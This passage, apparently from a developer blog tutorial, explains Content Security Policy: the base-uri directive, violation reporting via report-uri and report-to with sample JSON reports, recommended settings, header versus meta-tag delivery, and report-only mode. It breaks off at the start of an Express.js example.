&lt;p&gt;The &lt;code&gt;&amp;lt;base&amp;gt;&lt;/code&gt; tag is placed in the &lt;code&gt;&amp;lt;head&amp;gt;&lt;/code&gt; of an HTML document and defines a base URL or a default target for all relative URLs on the page like links, scripts, images, etc.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight html"&gt;&lt;code&gt;&lt;span class="nt"&gt;&amp;lt;base&lt;/span&gt; &lt;span class="na"&gt;href=&lt;/span&gt;&lt;span class="s"&gt;"https://example.com"&lt;/span&gt; &lt;span class="nt"&gt;/&amp;gt;&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;And now, you can set the &lt;code&gt;href&lt;/code&gt; of your &lt;code&gt;&amp;lt;a&amp;gt;&lt;/code&gt; tags like this:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight html"&gt;&lt;code&gt;&lt;span class="nt"&gt;&amp;lt;a&lt;/span&gt; &lt;span class="na"&gt;href=&lt;/span&gt;&lt;span class="s"&gt;"page2.html"&lt;/span&gt;&lt;span class="nt"&gt;&amp;gt;&lt;/span&gt;Next&lt;span class="nt"&gt;&amp;lt;/a&amp;gt;&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Thanks to &lt;code&gt;&amp;lt;base&amp;gt;&lt;/code&gt;, you don't have to set the whole URL in &lt;code&gt;href&lt;/code&gt; like &lt;code&gt;https://example.com/page2.html&lt;/code&gt;. The base URL of the entire website is configured with &lt;code&gt;&amp;lt;base&amp;gt;&lt;/code&gt;.&lt;/p&gt;

&lt;p&gt;If not restricted by &lt;code&gt;base-uri&lt;/code&gt;, browsers will honor any &lt;code&gt;&amp;lt;base&amp;gt;&lt;/code&gt; tag present in the document.&lt;/p&gt;

&lt;p&gt;Attackers might inject a &lt;code&gt;&amp;lt;base&amp;gt;&lt;/code&gt; tag into your HTML to redefine the base path for all relative links, like images, scripts, or anchors. This way, they can silently redirect form submissions or script requests to a malicious domain, compromising integrity or stealing data.&lt;/p&gt;

&lt;div class="table-wrapper-paragraph"&gt;&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Value&lt;/th&gt;
&lt;th&gt;Meaning&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;'self'&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;Allows the &lt;code&gt;&amp;lt;base&amp;gt;&lt;/code&gt; tag to point only to the same origin&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;'none'&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;Disables the effect of any &lt;code&gt;&amp;lt;base&amp;gt;&lt;/code&gt; tag&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;&amp;lt;URL&amp;gt;&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;Allows the base URI to be set to the specified origin&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;&lt;/div&gt;

&lt;h3&gt;
  
  
  &lt;code&gt;report-uri&lt;/code&gt;
&lt;/h3&gt;

&lt;p&gt;Unlike typical directives like &lt;code&gt;script-src&lt;/code&gt; or &lt;code&gt;style-src&lt;/code&gt;, &lt;code&gt;report-uri&lt;/code&gt; doesn’t actively enforce protection, it simply tells the browser &lt;strong&gt;where to send violation reports&lt;/strong&gt;.&lt;/p&gt;

&lt;p&gt;The &lt;code&gt;report-uri&lt;/code&gt; directive in a Content Security Policy (CSP) specifies the endpoint where the browser should send violation reports if any CSP rule is violated.&lt;/p&gt;

&lt;p&gt;For example, you can make an &lt;code&gt;POST&lt;/code&gt; endpoint in your backend (&lt;code&gt;/csp-report&lt;/code&gt; for example) dedicated to receiving violation reports (with the &lt;code&gt;Content-Type: Application/csp-report&lt;/code&gt; header).&lt;/p&gt;

&lt;p&gt;These reports are made and sent by the browser, so you don't have to do anything special at that endpoint other than send a &lt;code&gt;204 No Content&lt;/code&gt; response, and maybe store or log reports to analyze and detect real-world attacks or misconfigurations.&lt;/p&gt;

&lt;p&gt;Here is a sample of a JSON payload of a violation report:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight json"&gt;&lt;code&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="w"&gt;
  &lt;/span&gt;&lt;span class="nl"&gt;"csp-report"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="w"&gt;
    &lt;/span&gt;&lt;span class="nl"&gt;"document-uri"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"https://example.com/index.html"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt;
    &lt;/span&gt;&lt;span class="nl"&gt;"referrer"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;""&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt;
    &lt;/span&gt;&lt;span class="nl"&gt;"violated-directive"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"script-src 'self'"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt;
    &lt;/span&gt;&lt;span class="nl"&gt;"effective-directive"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"script-src"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt;
    &lt;/span&gt;&lt;span class="nl"&gt;"original-policy"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"script-src 'self'; report-uri /csp-report"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt;
    &lt;/span&gt;&lt;span class="nl"&gt;"blocked-uri"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"http://malicious.com/script.js"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt;
    &lt;/span&gt;&lt;span class="nl"&gt;"line-number"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;23&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt;
    &lt;/span&gt;&lt;span class="nl"&gt;"column-number"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;5&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt;
    &lt;/span&gt;&lt;span class="nl"&gt;"source-file"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"https://example.com/index.html"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt;
    &lt;/span&gt;&lt;span class="nl"&gt;"status-code"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;200&lt;/span&gt;&lt;span class="w"&gt;
  &lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;It has various properties, each describing specific aspect of the violated policy, like the blocked source, violated policy, page where the violation occured, etc.&lt;/p&gt;

&lt;p&gt;In our example, &lt;code&gt;script-src 'self'&lt;/code&gt; is the violated policy, highlighted in the &lt;code&gt;violated-directive&lt;/code&gt; property, and &lt;code&gt;http://malicious.com/script.js&lt;/code&gt; is the blocked source, shown in &lt;code&gt;blocked-uri&lt;/code&gt;.&lt;/p&gt;

&lt;p&gt;Even though &lt;code&gt;report-uri&lt;/code&gt; enjoys widespread support, it is &lt;strong&gt;deprecated in CSP Level 3&lt;/strong&gt;, in which it has been replaced by &lt;code&gt;report-to&lt;/code&gt;, which we will look at next.&lt;/p&gt;

&lt;h3&gt;
  
  
  &lt;code&gt;report-to&lt;/code&gt;
&lt;/h3&gt;

&lt;p&gt;The &lt;code&gt;report-to&lt;/code&gt; directive is the modern replacement for &lt;code&gt;report-uri&lt;/code&gt; and is part of the &lt;a href="https://developer.mozilla.org/en-US/docs/Web/API/Reporting_API" rel="noopener noreferrer"&gt;Reporting API&lt;/a&gt;.&lt;br&gt;
It specifies a named group where the browser should send violation reports.&lt;/p&gt;

&lt;p&gt;&lt;a href="https://developer.mozilla.org/en-US/docs/Web/HTTP/Reference/Headers/Content-Security-Policy/report-to#browser_compatibility" rel="noopener noreferrer"&gt;Due to its limited availability&lt;/a&gt; (it's still not supported in Firefox), it is recommended to set both &lt;code&gt;report-to&lt;/code&gt; and &lt;code&gt;report-uri&lt;/code&gt; to support both new and older browsers who might not support &lt;code&gt;report-to&lt;/code&gt;, like this:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight http"&gt;&lt;code&gt;&lt;span class="err"&gt;Content-Security-Policy: default-src 'self'; report-uri /csp-report; report-to csp-group;
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Notice that I didn't specify an endpoint URL for &lt;code&gt;report-to&lt;/code&gt;, unlike for &lt;code&gt;report-uri&lt;/code&gt;.&lt;/p&gt;

&lt;p&gt;&lt;code&gt;csp-group&lt;/code&gt; is the &lt;strong&gt;group name&lt;/strong&gt; I talked about earlier. You specify it in either the &lt;code&gt;Report-To&lt;/code&gt; or the newer &lt;code&gt;Reporting-Endpoints&lt;/code&gt; header, which you must define in your backend. Both headers map the group name to a reporting endpoint.&lt;/p&gt;

&lt;h4&gt;
  
  
  Using &lt;code&gt;Report-To&lt;/code&gt; (Legacy)
&lt;/h4&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight http"&gt;&lt;code&gt;&lt;span class="err"&gt;Report-To: {
  "group": "csp-group",
  "max_age": 10886400,
  "endpoints": [
    { "url": "https://example.com/csp-report" }
  ]
}
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;This tells the browser to send reports to &lt;code&gt;https://example.com/csp-report&lt;/code&gt; under the &lt;code&gt;csp-group&lt;/code&gt; group, for a period of &lt;strong&gt;10886400 seconds (126 days)&lt;/strong&gt;.&lt;/p&gt;

&lt;p&gt;It's a JSON structure and is supported by most browsers, but is being phased out.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;&lt;code&gt;max_age&lt;/code&gt;&lt;/strong&gt; is the time (in seconds) that a browser should cache the reporting endpoint&lt;br&gt;
configuration defined in the &lt;code&gt;Report-To&lt;/code&gt; header.&lt;/p&gt;
&lt;h4&gt;
  
  
  Using &lt;code&gt;Reporting-Endpoints&lt;/code&gt; (Modern)
&lt;/h4&gt;

&lt;p&gt;Alternatively, the newer &lt;code&gt;Reporting-Endpoints&lt;/code&gt; header provides a simpler, non-JSON format:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight http"&gt;&lt;code&gt;&lt;span class="err"&gt;Reporting-Endpoints: csp-group="https://example.com/csp-report"
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;This defines the same group, but in a cleaner syntax. It is preferred in modern browsers and aligns with the updated Reporting API spec.&lt;/p&gt;

&lt;p&gt;Just like with &lt;code&gt;report-uri&lt;/code&gt; and &lt;code&gt;report-to&lt;/code&gt;, it's recommended to include both &lt;code&gt;Report-To&lt;/code&gt; and &lt;code&gt;Reporting-Endpoints&lt;/code&gt; headers for maximum compatibility.&lt;/p&gt;

&lt;h4&gt;
  
  
  Example JSON Report Payload
&lt;/h4&gt;

&lt;p&gt;The browser sends these reports as JSON via &lt;code&gt;POST&lt;/code&gt;, this time with the &lt;code&gt;Content-Type: application/reports+json&lt;/code&gt; header, instead of &lt;code&gt;Content-Type: application/csp-report&lt;/code&gt; like with &lt;code&gt;report-uri&lt;/code&gt;.&lt;/p&gt;

&lt;p&gt;The format of the report differs from that of &lt;code&gt;report-uri&lt;/code&gt;. Here is an example of what a JSON payload looks like for &lt;code&gt;report-to&lt;/code&gt;:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight json"&gt;&lt;code&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="w"&gt;
  &lt;/span&gt;&lt;span class="nl"&gt;"age"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;53531&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt;
  &lt;/span&gt;&lt;span class="nl"&gt;"body"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="w"&gt;
    &lt;/span&gt;&lt;span class="nl"&gt;"blockedURL"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"http://malicious.com/script.js"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt;
    &lt;/span&gt;&lt;span class="nl"&gt;"columnNumber"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;5&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt;
    &lt;/span&gt;&lt;span class="nl"&gt;"disposition"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"enforce"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt;
    &lt;/span&gt;&lt;span class="nl"&gt;"documentURL"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"https://example.com/index.html"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt;
    &lt;/span&gt;&lt;span class="nl"&gt;"effectiveDirective"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"script-src"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt;
    &lt;/span&gt;&lt;span class="nl"&gt;"lineNumber"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;23&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt;
    &lt;/span&gt;&lt;span class="nl"&gt;"originalPolicy"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"script-src 'self'; report-to /csp-report"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt;
    &lt;/span&gt;&lt;span class="nl"&gt;"referrer"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;""&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt;
    &lt;/span&gt;&lt;span class="nl"&gt;"sample"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"console.log(&lt;/span&gt;&lt;span class="se"&gt;\"&lt;/span&gt;&lt;span class="s2"&gt;lo&lt;/span&gt;&lt;span class="se"&gt;\"&lt;/span&gt;&lt;span class="s2"&gt;)"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt;
    &lt;/span&gt;&lt;span class="nl"&gt;"sourceFile"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"https://example.com/index.html"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt;
    &lt;/span&gt;&lt;span class="nl"&gt;"statusCode"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;200&lt;/span&gt;&lt;span class="w"&gt;
  &lt;/span&gt;&lt;span class="p"&gt;},&lt;/span&gt;&lt;span class="w"&gt;
  &lt;/span&gt;&lt;span class="nl"&gt;"type"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"csp-violation"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt;
  &lt;/span&gt;&lt;span class="nl"&gt;"url"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"https://example.com/csp-report"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt;
  &lt;/span&gt;&lt;span class="nl"&gt;"user_agent"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/127.0.0.0 Safari/537.36"&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;It has the same information held in the report made when using &lt;code&gt;report-uri&lt;/code&gt;, but with a few differences.&lt;/p&gt;

&lt;h4&gt;
  
  
  Differences between &lt;code&gt;report-to&lt;/code&gt; and &lt;code&gt;report-uri&lt;/code&gt;
&lt;/h4&gt;

&lt;p&gt;The main difference is that all information about the CSP violation is contained inside the &lt;code&gt;body&lt;/code&gt; property. This is because &lt;code&gt;report-to&lt;/code&gt; is used not only for CSP, but for many other types of violations, specified in the &lt;code&gt;type&lt;/code&gt; property. Some values of &lt;code&gt;type&lt;/code&gt; include &lt;code&gt;network-error&lt;/code&gt;, &lt;code&gt;deprecation&lt;/code&gt;, &lt;code&gt;crash&lt;/code&gt;, etc.&lt;/p&gt;

&lt;p&gt;In our example, &lt;code&gt;type&lt;/code&gt; is set to &lt;code&gt;csp-violation&lt;/code&gt;, which means that a CSP violation has occurred.&lt;/p&gt;

&lt;p&gt;Like I said before, &lt;code&gt;report-to&lt;/code&gt; integrates well with the new Reporting API. This makes it useful not just for reporting CSP violations, but all kinds of violations, which you can access through &lt;code&gt;type&lt;/code&gt; property. &lt;/p&gt;

&lt;p&gt;One important difference is that &lt;code&gt;report-to&lt;/code&gt; requires a secure context, meaning your site must be served over HTTPS. Unlike &lt;code&gt;report-uri&lt;/code&gt;, you can’t fully test &lt;code&gt;report-to&lt;/code&gt; using plain &lt;code&gt;http://localhost&lt;/code&gt;.&lt;/p&gt;

&lt;p&gt;To test &lt;code&gt;report-to&lt;/code&gt; reports in development, a common approach is to use a tunneling service like &lt;a href="https://ngrok.com" rel="noopener noreferrer"&gt;Ngrok&lt;/a&gt;, which provides a public HTTPS URL that forwards requests to your local server. This way, you can test &lt;code&gt;report-to&lt;/code&gt; reporting on your local environment over HTTPS.&lt;/p&gt;

&lt;p&gt;Just like with &lt;code&gt;report-uri&lt;/code&gt;, you don't have to return anything from that endpoint, a &lt;code&gt;204 No Content&lt;/code&gt; response will do just fine. However, logging or storing these reports can provide valuable insights into attempted policy violations or misconfigurations.&lt;/p&gt;

&lt;h3&gt;
  
  
  Key Takeaways
&lt;/h3&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;code&gt;'self'&lt;/code&gt;, specific URLs, and 'none' are widely supported across directives.&lt;/li&gt;
&lt;li&gt;Nonces, hashes, &lt;code&gt;'unsafe-inline'&lt;/code&gt;, and &lt;code&gt;unsafe-hashes&lt;/code&gt; are only valid for scripts and styles.&lt;/li&gt;
&lt;li&gt;
&lt;code&gt;'strict-dynamic'&lt;/code&gt; is only valid for scripts, and only works when combined with a nonce or hash.&lt;/li&gt;
&lt;li&gt;
&lt;code&gt;data:&lt;/code&gt; and &lt;code&gt;blob:&lt;/code&gt; are powerful but risky. Allow only when necessary.&lt;/li&gt;
&lt;li&gt;Do not use &lt;code&gt;*&lt;/code&gt;. Ever!&lt;/li&gt;
&lt;li&gt;Including invalid values in a directive won’t cause errors, but they’ll be ignored, which can silently weaken your policy.&lt;/li&gt;
&lt;/ul&gt;

&lt;h2&gt;
  
  
  Recommended CSP Configuration
&lt;/h2&gt;

&lt;p&gt;For most directives, the general best practice is to allow self-hosted content only, using &lt;code&gt;'self'&lt;/code&gt;, and to add specific remote origins only when absolutely necessary (like for trusted CDNs, APIs, or services your app relies on).&lt;/p&gt;

&lt;p&gt;Set &lt;code&gt;default-src&lt;/code&gt; to &lt;code&gt;'self'&lt;/code&gt; to ensure that any content type not explicitly covered by other directives will default to allowing only self-hosted resources.&lt;/p&gt;

&lt;p&gt;Avoid using wildcards (&lt;code&gt;*&lt;/code&gt;), and for &lt;code&gt;script-src&lt;/code&gt; and &lt;code&gt;style-src&lt;/code&gt;, avoid inline &lt;code&gt;&amp;lt;script&amp;gt;&lt;/code&gt; and &lt;code&gt;&amp;lt;style&amp;gt;&lt;/code&gt; blocks. If you absolutely need them, use nonces and hashes (and &lt;code&gt;unsafe-hashes&lt;/code&gt; if you need to support inline styles and JavaScript event handlers like &lt;code&gt;onclick&lt;/code&gt;).&lt;/p&gt;

&lt;p&gt;Set &lt;code&gt;frame-src&lt;/code&gt; to &lt;code&gt;'none'&lt;/code&gt; unless you embed trusted content (like YouTube or maps), in which case you can list those domains explicitly. This measure protects your users from Clickjacking attacks.&lt;/p&gt;

&lt;p&gt;Use &lt;code&gt;frame-ancestors 'none';&lt;/code&gt; to prevent other websites from embedding your site in a &lt;code&gt;&amp;lt;iframe&amp;gt;&lt;/code&gt;, which also helps defend against clickjacking attacks. If your site needs to be embedded by a specific partner or parent domain, list only that trusted domain.&lt;/p&gt;

&lt;p&gt;Finally, use &lt;code&gt;base-uri 'none';&lt;/code&gt; to prevent attackers from changing the &lt;code&gt;&amp;lt;base&amp;gt;&lt;/code&gt; tag, which could alter how relative URLs resolve and potentially lead to unexpected behavior.&lt;/p&gt;

&lt;h2&gt;
  
  
  Why You Should Set CSP As A Header And Not As A Meta Tag
&lt;/h2&gt;

&lt;p&gt;I mentioned briefly that it's more secure to set your CSP in a header instead of a meta tag like this:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight html"&gt;&lt;code&gt;&lt;span class="nt"&gt;&amp;lt;meta&lt;/span&gt; &lt;span class="na"&gt;http-equiv=&lt;/span&gt;&lt;span class="s"&gt;"Content-Security-Policy"&lt;/span&gt; &lt;span class="na"&gt;content=&lt;/span&gt;&lt;span class="s"&gt;"default-src 'self'; script-src 'self'"&lt;/span&gt;&lt;span class="nt"&gt;&amp;gt;&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;But I didn't explain why. So, here are 3 reasons why you should configure CSP in an HTTP header:&lt;/p&gt;

&lt;h3&gt;
  
  
  1. Headers are enforced earlier
&lt;/h3&gt;

&lt;p&gt;CSP delivered via HTTP headers is applied &lt;strong&gt;before any content is parsed&lt;/strong&gt; by the browser. This means it can protect against malicious scripts &lt;strong&gt;even in the &lt;code&gt;&amp;lt;head&amp;gt;&lt;/code&gt; or early &lt;code&gt;&amp;lt;script&amp;gt;&lt;/code&gt; tags&lt;/strong&gt;.&lt;/p&gt;

&lt;p&gt;Meta-based CSPs, on the other hand, are only applied &lt;strong&gt;after&lt;/strong&gt; the browser encounters the &lt;code&gt;&amp;lt;meta&amp;gt;&lt;/code&gt; tag. Any inline scripts before that point will not be blocked, even if they violate the policy.&lt;/p&gt;

&lt;h3&gt;
  
  
  2. Meta tags can’t enforce powerful directives
&lt;/h3&gt;

&lt;p&gt;Some important directives, such as &lt;code&gt;frame-ancestors&lt;/code&gt;, &lt;code&gt;report-uri&lt;/code&gt;, and &lt;code&gt;report-to&lt;/code&gt; are ignored when CSP is set via a &lt;code&gt;&amp;lt;meta&amp;gt;&lt;/code&gt; tag. These directives only work when CSP is delivered as a header, which means using a meta tag provides incomplete protection.&lt;/p&gt;

&lt;h3&gt;
  
  
  3. Meta tags are more vulnerable to injection
&lt;/h3&gt;

&lt;p&gt;If your app is vulnerable to HTML injection, an attacker might modify or insert a &lt;code&gt;&amp;lt;meta&amp;gt;&lt;/code&gt; tag to weaken or bypass your CSP. HTTP headers, being set server-side, are much harder for attackers to tamper with.&lt;/p&gt;

&lt;p&gt;Always configure CSP via the &lt;code&gt;Content-Security-Policy&lt;/code&gt; HTTP response header in your server or application framework. This ensures early, complete, and tamper-resistant enforcement of your policy.&lt;/p&gt;

&lt;h2&gt;
  
  
  Deploying CSP in Report-Only Mode
&lt;/h2&gt;

&lt;p&gt;If you configure CSP for the first time, you may encounter multiple errors linked to CSP violations.&lt;/p&gt;

&lt;p&gt;This can disrupt you application.&lt;/p&gt;

&lt;p&gt;The recommended way is to set up CSP in &lt;strong&gt;Report-Only mode&lt;/strong&gt;. You do that by setting up the &lt;code&gt;Content-Security-Policy-Report-Only&lt;/code&gt; header instead of &lt;code&gt;Content-Security-Policy&lt;/code&gt;.&lt;/p&gt;

&lt;p&gt;They work the same way, and accept the same values. The only difference is that &lt;code&gt;Content-Security-Policy-Report-Only&lt;/code&gt; doesn't block unallowed requests from taking place, and reports them.&lt;/p&gt;

&lt;p&gt;Take this one for example:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight http"&gt;&lt;code&gt;&lt;span class="err"&gt;Content-Security-Policy-Report-Only: default-src 'self'; script-src 'self' https://example.com; report-uri /csp-report; report-to /csp-report;
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;According to the policy set in this header, inline JavaScript are prohibited, but unlike &lt;code&gt;Content-Security-Policy&lt;/code&gt;, they won't be blocked. The browser will still process inline JavaScript and send a report to &lt;code&gt;/csp-report&lt;/code&gt; endpoint about the inline JS violation.&lt;/p&gt;

&lt;p&gt;Simply put, &lt;strong&gt;violations are reported but not enforced&lt;/strong&gt;. This way you can observe what resources would be blocked.&lt;/p&gt;

&lt;p&gt;Of course, this means you need to define both &lt;code&gt;report-uri&lt;/code&gt; and &lt;code&gt;report-to&lt;/code&gt; endpoints. Without them, &lt;code&gt;Content-Security-Policy-Report-Only&lt;/code&gt; is ineffective, since it won’t generate any reports or provide useful feedback.&lt;/p&gt;

&lt;p&gt;This approach is helpful for gradually tightening your CSP without breaking your application. Start with &lt;code&gt;Content-Security-Policy-Report-Only&lt;/code&gt; to monitor violations and address any issues that are reported. Once you've resolved them and no new reports appear for a while, you can safely switch to &lt;code&gt;Content-Security-Policy&lt;/code&gt; to actively block unwanted content.&lt;/p&gt;

&lt;h2&gt;
  
  
  Set Up Content Security Policy in Node.js (Express.js)
&lt;/h2&gt;

&lt;p&gt;I'll set it up in two ways: manually, and using &lt;a href="https://www.npmjs.com/package/helmet" rel="noopener noreferrer"&gt;the &lt;code&gt;helmet&lt;/code&gt; library&lt;/a&gt;.&lt;/p&gt;

&lt;h3&gt;
  
  
  Manually
&lt;/h3&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight javascript"&gt;&lt;code&gt;&lt;span class="k"&gt;import&lt;/span&gt; &lt;span class="nx"&gt;express&lt;/span&gt; &lt;span class="k"&gt;from&lt;/span&gt; &lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="s2"&gt;express&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;

&lt;span class="kd"&gt;const&lt;/span&gt; &lt;span class="nx"&gt;app&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nf"&gt;express&lt;/span&gt;&lt;span class="p"&gt;();&lt;/span&gt;

&lt;span class="c1"&gt;// Define the Report-To header value&lt;/span&gt;
